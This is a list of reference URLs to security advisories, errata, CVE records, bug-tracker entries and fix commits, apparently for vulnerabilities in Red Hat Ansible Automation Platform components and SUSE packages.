access.redhat.com/errata/RHSA-2026:8491
access.redhat.com/errata/RHSA-2026:8493
access.redhat.com/errata/RHSA-2026:11916
access.redhat.com/errata/RHSA-2026:11856
access.redhat.com/errata/RHSA-2026:21017
access.redhat.com/errata/RHSA-2026:6568
access.redhat.com/errata/RHSA-2026:19375
access.redhat.com/errata/RHSA-2026:22465
access.redhat.com/errata/RHSA-2026:48085
access.redhat.com/errata/RHSA-2026:6926
nvd.nist.gov/vuln/detail/CVE-2026-29074
github.com/advisories/GHSA-xpqw-6gx7-v673
github.com/CVEProject/cvelistV5/tree/main/cves/2026/29xxx/CVE-2026-29074.json
security-tracker.debian.org/tracker/CVE-2026-29074
github.com/svg/svgo
access.redhat.com/security/updates/classification
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.5/html/release_notes/patch_releases
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.5
bugzilla.redhat.com/show_bug.cgi?id=2430472
bugzilla.redhat.com/show_bug.cgi?id=2438762
bugzilla.redhat.com/show_bug.cgi?id=2439070
bugzilla.redhat.com/show_bug.cgi?id=2442530
bugzilla.redhat.com/show_bug.cgi?id=2444839
bugzilla.redhat.com/show_bug.cgi?id=2445356
bugzilla.redhat.com/show_bug.cgi?id=2447194
bugzilla.redhat.com/show_bug.cgi?id=2448503
bugzilla.redhat.com/show_bug.cgi?id=2448553
bugzilla.redhat.com/show_bug.cgi?id=2456187
bugzilla.redhat.com/show_bug.cgi?id=2458142
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_13512.json
access.redhat.com/security/cve/CVE-2025-69534
cve.org/CVERecord?id=CVE-2025-69534
nvd.nist.gov/vuln/detail/CVE-2025-69534
github.com/Python-Markdown/markdown
github.com/Python-Markdown/markdown/actions/runs/15736122892
github.com/Python-Markdown/markdown/issues/1534
access.redhat.com/security/cve/CVE-2025-69873
cve.org/CVERecord?id=CVE-2025-69873
nvd.nist.gov/vuln/detail/CVE-2025-69873
github.com/EthanKim88/ethan-cve-disclosures/blob/main/CVE-2025-69873-ajv-ReDoS.md
access.redhat.com/security/cve/CVE-2026-6266
cve.org/CVERecord?id=CVE-2026-6266
nvd.nist.gov/vuln/detail/CVE-2026-6266
access.redhat.com/security/cve/CVE-2026-23490
cve.org/CVERecord?id=CVE-2026-23490
nvd.nist.gov/vuln/detail/CVE-2026-23490
github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970
github.com/pyasn1/pyasn1/releases/tag/v0.6.2
github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq
access.redhat.com/security/cve/CVE-2026-25679
cve.org/CVERecord?id=CVE-2026-25679
nvd.nist.gov/vuln/detail/CVE-2026-25679
go.dev/cl/752180
go.dev/issue/77578
groups.google.com/g/golang-announce/c/EdhZqrQ98hk
pkg.go.dev/vuln/GO-2026-4601
access.redhat.com/security/cve/CVE-2026-26007
cve.org/CVERecord?id=CVE-2026-26007
nvd.nist.gov/vuln/detail/CVE-2026-26007
github.com/pyca/cryptography/commit/0eebb9dbb6343d9bc1d91e5a2482ed4e054a6d8c
github.com/pyca/cryptography/security/advisories/GHSA-r6ph-v2qm-q3c2
access.redhat.com/security/cve/CVE-2026-27459
cve.org/CVERecord?id=CVE-2026-27459
nvd.nist.gov/vuln/detail/CVE-2026-27459
github.com/pyca/pyopenssl/blob/358cbf29c4e364c59930e53a270116249581eaa3/CHANGELOG.rst
github.com/pyca/pyopenssl/commit/57f09bb4bb051d3bc2a1abd36e9525313d5cd408
github.com/pyca/pyopenssl/security/advisories/GHSA-5pwr-322w-8jr4
access.redhat.com/security/cve/CVE-2026-27606
cve.org/CVERecord?id=CVE-2026-27606
nvd.nist.gov/vuln/detail/CVE-2026-27606
github.com/rollup/rollup/commit/c60770d7aaf750e512c1b2774989ea4596e660b2
github.com/rollup/rollup/commit/c8cf1f9c48c516285758c1e11f08a54f304fd44e
github.com/rollup/rollup/commit/d6dee5e99bb82aac0bee1df4ab9efbde455452c3
github.com/rollup/rollup/releases/tag/v2.80.0
github.com/rollup/rollup/releases/tag/v3.30.0
github.com/rollup/rollup/releases/tag/v4.59.0
github.com/rollup/rollup/security/advisories/GHSA-mw96-cpmx-2vgc
cve.org/CVERecord?id=CVE-2026-29074
access.redhat.com/security/cve/CVE-2026-30922
cve.org/CVERecord?id=CVE-2026-30922
nvd.nist.gov/vuln/detail/CVE-2026-30922
github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0
github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r
access.redhat.com/security/cve/CVE-2026-32597
cve.org/CVERecord?id=CVE-2026-32597
nvd.nist.gov/vuln/detail/CVE-2026-32597
github.com/jpadilla/pyjwt/security/advisories/GHSA-752w-5fwx-jx9f
access.redhat.com/security/cve/CVE-2026-39373
cve.org/CVERecord?id=CVE-2026-39373
nvd.nist.gov/vuln/detail/CVE-2026-39373
github.com/latchset/jwcrypto/security/advisories/GHSA-fjrm-76x2-c4q4
bugzilla.redhat.com/show_bug.cgi?id=2439170
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.6/html/release_notes/patch_releases
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.6
bugzilla.redhat.com/show_bug.cgi?id=2434432
bugzilla.redhat.com/show_bug.cgi?id=2437111
bugzilla.redhat.com/show_bug.cgi?id=2438237
bugzilla.redhat.com/show_bug.cgi?id=2442922
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_6277.json
access.redhat.com/security/cve/CVE-2025-61726
cve.org/CVERecord?id=CVE-2025-61726
nvd.nist.gov/vuln/detail/CVE-2025-61726
go.dev/cl/736712
go.dev/issue/77101
groups.google.com/g/golang-announce/c/Vd2tYVM8eUc
pkg.go.dev/vuln/GO-2026-4341
access.redhat.com/security/cve/CVE-2025-68121
cve.org/CVERecord?id=CVE-2025-68121
nvd.nist.gov/vuln/detail/CVE-2025-68121
go.dev/cl/737700
go.dev/issue/77217
groups.google.com/g/golang-announce/c/K09ubi9FQFk
pkg.go.dev/vuln/GO-2026-4337
access.redhat.com/security/cve/CVE-2026-25639
cve.org/CVERecord?id=CVE-2026-25639
nvd.nist.gov/vuln/detail/CVE-2026-25639
github.com/axios/axios/commit/28c721588c7a77e7503d0a434e016f852c597b57
github.com/axios/axios/releases/tag/v1.13.5
github.com/axios/axios/security/advisories/GHSA-43fc-jf86-j433
access.redhat.com/security/cve/CVE-2026-25990
cve.org/CVERecord?id=CVE-2026-25990
nvd.nist.gov/vuln/detail/CVE-2026-25990
github.com/python-pillow/Pillow/commit/9000313cc5d4a31bdcdd6d7f0781101abab553aa
github.com/python-pillow/Pillow/security/advisories/GHSA-cfh3-3jmp-rvhc
access.redhat.com/security/cve/CVE-2026-27904
cve.org/CVERecord?id=CVE-2026-27904
nvd.nist.gov/vuln/detail/CVE-2026-27904
github.com/isaacs/minimatch/security/advisories/GHSA-23c5-xmqv-rm74
suse.com/support/update/announcement/2026/suse-su-20262005-1
bugzilla.suse.com/1256521
bugzilla.suse.com/1259290
bugzilla.suse.com/1265040
suse.com/security/cve/CVE-2026-0775
suse.com/security/cve/CVE-2026-29074
suse.com/security/cve/CVE-2026-4802
suse.com/support/update/announcement/2026/suse-su-20262019-1
suse.com/security/cve/CVE-2025-0914
suse.com/security/cve/CVE-2026-12143
suse.com/security/cve/CVE-2026-14257
suse.com/security/cve/CVE-2026-17535
suse.com/security/cve/CVE-2026-18348
suse.com/security/cve/CVE-2026-18636
suse.com/security/cve/CVE-2026-18638
suse.com/security/cve/CVE-2026-18639
suse.com/security/cve/CVE-2026-18860
suse.com/security/cve/CVE-2026-27601
suse.com/security/cve/CVE-2026-41650
suse.com/security/cve/CVE-2026-45623
suse.com/security/cve/CVE-2026-49356
suse.com/security/cve/CVE-2026-5329
suse.com/security/cve/CVE-2026-53550
suse.com/security/cve/CVE-2026-55602
suse.com/security/cve/CVE-2026-56852
suse.com/security/cve/CVE-2026-59869
suse.com/security/cve/CVE-2026-6290
suse.com/security/cve/CVE-2026-64951
suse.com/security/cve/CVE-2026-64952
suse.com/security/cve/CVE-2026-64954
suse.com/security/cve/CVE-2026-65903
suse.com/security/cve/CVE-2026-65912
suse.com/security/cve/CVE-2026-65913
suse.com/security/cve/CVE-2026-65914
suse.com/security/cve/CVE-2026-67314
suse.com/security/cve/CVE-2026-67320
suse.com/security/cve/CVE-2026-6863
suse.com/security/cve/CVE-2026-69152
suse.com/security/cve/CVE-2026-69153
suse.com/security/cve/CVE-2026-6948
suse.com/security/cve/CVE-2026-73086
suse.com/security/cve/CVE-2026-73646
suse.com/security/cve/CVE-2026-73650
suse.com/security/cve/CVE-2026-7572
suse.com/security/cve/CVE-2026-7573
suse.com/security/cve/CVE-2026-84369
suse.com/security/cve/CVE-2026-84370
Left out here: the rest of 2 source descriptions. The JSON record has them.